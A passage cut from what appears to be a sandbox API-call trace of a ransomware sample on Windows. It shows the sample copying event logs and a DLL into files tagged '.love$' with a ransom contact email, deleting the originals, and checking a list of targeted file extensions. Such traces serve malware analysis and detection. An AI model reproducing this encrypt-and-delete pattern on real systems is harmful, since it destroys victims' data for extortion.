"c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0123.116] GetLastError () returned 0x0 [0123.116] ReadFile (in: hFile=0x340, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0123.129] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0123.131] ReadFile (in: hFile=0x340, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0123.131] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x160, lpOverlapped=0x0) returned 1 [0123.131] SetEndOfFile (hFile=0x2d8) returned 1 [0123.132] CloseHandle (hObject=0x2d8) returned 1 [0123.136] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.136] SetEndOfFile (hFile=0x340) returned 1 [0123.139] CloseHandle (hObject=0x340) returned 1 [0123.139] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0123.139] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1 [0123.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0123.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0123.140] lstrlenW (lpString=".doc") returned 4 [0123.140] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.140] lstrlenW (lpString=".docx") returned 5 [0123.140] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.140] lstrlenW (lpString=".pdf") returned 4 [0123.140] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.140] lstrlenW (lpString=".xls") returned 4 [0123.140] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.140] lstrlenW (lpString=".xlsx") returned 5 [0123.140] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.140] lstrlenW (lpString=".ppt") returned 4 [0123.140] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0123.140] lstrlenW (lpString=".zip") returned 4 [0123.140] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.140] lstrlenW (lpString=".rar") returned 4 [0123.140] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.140] lstrlenW (lpString=".bz2") returned 4 [0123.140] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.140] lstrlenW (lpString=".7z") returned 3 [0123.140] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0123.140] lstrlenW (lpString=".dbf") returned 4 [0123.140] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0123.140] lstrlenW (lpString=".1cd") returned 4 [0123.140] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0123.141] lstrlenW (lpString=".jpg") returned 4 [0123.141] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0123.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0123.141] lstrlenW (lpString=".doc") returned 4 [0123.141] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.141] lstrlenW (lpString=".docx") returned 5 [0123.141] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.141] lstrlenW (lpString=".pdf") returned 4 [0123.141] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.141] lstrlenW (lpString=".xls") returned 4 [0123.141] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.141] lstrlenW (lpString=".xlsx") returned 5 [0123.141] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.141] lstrlenW (lpString=".ppt") returned 4 [0123.141] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0123.141] lstrlenW (lpString=".zip") returned 4 [0123.141] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.141] lstrlenW (lpString=".rar") returned 4 [0123.141] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.141] lstrlenW (lpString=".bz2") returned 4 [0123.141] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.141] lstrlenW (lpString=".7z") returned 3 [0123.141] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0123.141] lstrlenW (lpString=".dbf") returned 4 [0123.141] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0123.141] lstrlenW (lpString=".1cd") returned 4 [0123.141] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0123.141] lstrlenW (lpString=".jpg") returned 4 [0123.142] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.142] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0123.142] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76 [0123.142] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0123.143] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0123.143] CloseHandle (hObject=0x340) returned 1 [0123.143] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0123.143] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.143] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0123.144] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.144] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.144] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0123.144] GetLastError () returned 0x0 [0123.144] ReadFile (in: hFile=0x340, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0123.147] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0123.149] ReadFile (in: hFile=0x340, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0123.149] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x16c, lpOverlapped=0x0) returned 1 [0123.149] SetEndOfFile (hFile=0x2d8) returned 1 [0123.149] CloseHandle (hObject=0x2d8) returned 1 [0123.156] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.156] SetEndOfFile (hFile=0x340) returned 1 [0123.157] CloseHandle (hObject=0x340) returned 1 [0123.157] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0123.158] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1 [0123.158] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0123.158] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0123.158] lstrlenW (lpString=".doc") returned 4 [0123.158] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.158] lstrlenW (lpString=".docx") returned 5 [0123.158] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.158] lstrlenW (lpString=".pdf") returned 4 [0123.158] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.158] lstrlenW (lpString=".xls") returned 4 [0123.332] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.332] lstrlenW (lpString=".xlsx") returned 5 [0123.332] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.333] lstrlenW (lpString=".ppt") returned 4 [0123.333] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0123.333] lstrlenW (lpString=".zip") returned 4 [0123.333] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.333] lstrlenW (lpString=".rar") returned 4 [0123.333] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.333] lstrlenW (lpString=".bz2") returned 4 [0123.333] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.333] lstrlenW (lpString=".7z") returned 3 [0123.333] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0123.333] lstrlenW (lpString=".dbf") returned 4 [0123.333] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0123.333] lstrlenW (lpString=".1cd") returned 4 [0123.333] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0123.333] lstrlenW (lpString=".jpg") returned 4 [0123.333] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0123.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0123.333] lstrlenW (lpString=".doc") returned 4 [0123.333] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.333] lstrlenW (lpString=".docx") returned 5 [0123.333] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.333] lstrlenW (lpString=".pdf") returned 4 [0123.334] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.334] lstrlenW (lpString=".xls") returned 4 [0123.334] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.334] lstrlenW (lpString=".xlsx") returned 5 [0123.334] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.334] lstrlenW (lpString=".ppt") returned 4 [0123.334] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.334] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0123.334] lstrlenW (lpString=".zip") returned 4 [0123.334] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.334] lstrlenW (lpString=".rar") returned 4 [0123.334] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.334] lstrlenW (lpString=".bz2") returned 4 [0123.334] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.334] lstrlenW (lpString=".7z") returned 3 [0123.334] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.334] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0123.334] lstrlenW (lpString=".dbf") returned 4 [0123.334] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.334] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0123.334] lstrlenW (lpString=".1cd") returned 4 [0123.334] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.334] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0123.334] lstrlenW (lpString=".jpg") returned 4 [0123.334] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.335] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0123.335] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45 [0123.335] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0123.977] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0123.977] CloseHandle (hObject=0x37c) returned 1 [0123.977] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0123.977] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.978] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0123.978] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.978] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.978] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 13 os_tid = 0xf7c [0093.437] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x37f0048 [0093.439] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3800050 [0093.440] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50abc8 [0093.440] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x53d330 [0093.440] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50abe0 [0093.440] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x38f8020 [0093.444] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50abf8 [0093.444] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50abf8, Size=0x20) returned 0x4eebd8 [0093.444] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50abf8 [0093.444] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50abf8, Size=0x20) returned 0x4eeae8 [0093.444] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0093.445] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0093.445] Wow64DisableWow64FsRedirection (in: OldValue=0x2d1ff50 | out: OldValue=0x2d1ff50*=0x0) returned 1 [0093.445] lstrlenW (lpString="kernel32.dll") returned 12 [0093.445] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eebd8 | out: hHeap=0x4b0000) returned 1 [0093.445] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0093.445] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eeae8 | out: hHeap=0x4b0000) returned 1 [0093.445] Sleep (dwMilliseconds=0x64) [0094.034] Sleep (dwMilliseconds=0x64) [0094.433] Sleep (dwMilliseconds=0x64) [0096.072] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0096.072] lstrlenW (lpString="SetupResources.dll") returned 18 [0096.072] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0096.073] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=14168) returned 1 [0096.074] CloseHandle (hObject=0x314) returned 1 [0096.074] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0096.074] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0096.074] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0096.074] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.074] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.075] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0096.079] GetLastError () returned 0x0 [0096.079] ReadFile (in: hFile=0x314, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x3758, lpOverlapped=0x0) returned 1 [0096.099] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3760, lpOverlapped=0x0) returned 1 [0096.100] ReadFile (in: hFile=0x314, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.100] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0096.100] SetEndOfFile (hFile=0x318) returned 1 [0096.101] CloseHandle (hObject=0x318) returned 1 [0096.103] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.103] SetEndOfFile (hFile=0x314) returned 1 [0096.104] CloseHandle (hObject=0x314) returned 1 [0096.105] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0096.105] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0096.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0096.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0096.105] lstrlenW (lpString=".doc") returned 4 [0096.105] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0096.105] lstrlenW (lpString=".docx") returned 5 [0096.105] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0096.105] lstrlenW (lpString=".pdf") returned 4 [0096.105] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0096.105] lstrlenW (lpString=".xls") returned 4 [0096.106] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0096.106] lstrlenW (lpString=".xlsx") returned 5 [0096.106] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0096.106] lstrlenW (lpString=".ppt") returned 4 [0096.106] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0096.106] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0096.106] lstrlenW (lpString=".zip") returned 4 [0096.106] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0096.106] lstrlenW (lpString=".rar") returned 4 [0096.106] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0096.106] lstrlenW (lpString=".bz2") returned 4 [0096.106] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0096.106] lstrlenW (lpString=".7z") returned 3 [0096.106] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0096.106] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0096.106] lstrlenW (lpString=".dbf") returned 4 [0096.106] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0096.106] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0096.106] lstrlenW (lpString=".1cd") returned 4 [0096.106] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0096.106] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0096.106] lstrlenW (lpString=".jpg") returned 4 [0096.106] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0096.106] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0096.106] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0096.106] lstrlenW (lpString=".doc") returned 4 [0096.106] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0096.106] lstrlenW (lpString=".docx") returned 5 [0096.106] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0096.107] lstrlenW (lpString=".pdf") returned 4 [0096.107] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0096.107] lstrlenW (lpString=".xls") returned 4 [0096.107] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0096.107] lstrlenW (lpString=".xlsx") returned 5 [0096.107] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0096.107] lstrlenW (lpString=".ppt") returned 4 [0096.107] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0096.107] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0096.107] lstrlenW (lpString=".zip") returned 4 [0096.107] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0096.107] lstrlenW (lpString=".rar") returned 4 [0096.107] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0096.107] lstrlenW (lpString=".bz2") returned 4 [0096.107] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0096.107] lstrlenW (lpString=".7z") returned 3 